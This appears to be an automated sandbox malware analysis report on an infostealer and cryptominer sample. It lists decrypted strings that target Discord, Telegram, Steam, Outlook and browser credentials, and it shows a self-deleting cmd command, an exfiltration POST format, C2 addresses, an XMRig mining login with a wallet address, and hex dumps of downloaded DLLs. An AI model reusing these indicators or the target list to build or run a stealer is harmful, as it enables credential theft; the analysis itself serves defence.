Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: .exe
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: runas
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: open
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: /c start
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: files
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \discord\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: key_datas
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: map*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Telegram
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: *.tox
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: *.ini
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Password
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: 00000001
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: 00000002
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: 00000003
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: 00000004
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: token:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \config\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: browsers
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: done
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: soft
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: https
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: POST
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: hwid
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: build
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: token
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: file_name
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: file
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: message
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C6F6C80

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: dump.pcap, type: PCAP

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49940 -> 141.94.96.71:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44jrwaaoknn1r4rnu5deknqqugdcprxhva5savcaqj1fkzjavwepgvpknogdnrxhub9ba2jepmcxdfbpia8iofxk39pv8bk","pass":"koksal","agent":"xmrig/6.19.0 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\userBKFCAFCFBA.exe	Unpacked PE file: 7.2.userBKFCAFCFBA.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe	Unpacked PE file: 49.2.1a87deddda.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 143.204.215.122:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49899 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 96MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence/5499d72b3a3e55be.php
Source: Malware configuration extractor	IPs: 77.91.77.81

Source: global traffic

TCP traffic: 192.168.2.4:49940 -> 141.94.96.71:3333

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:38:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 00:39:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 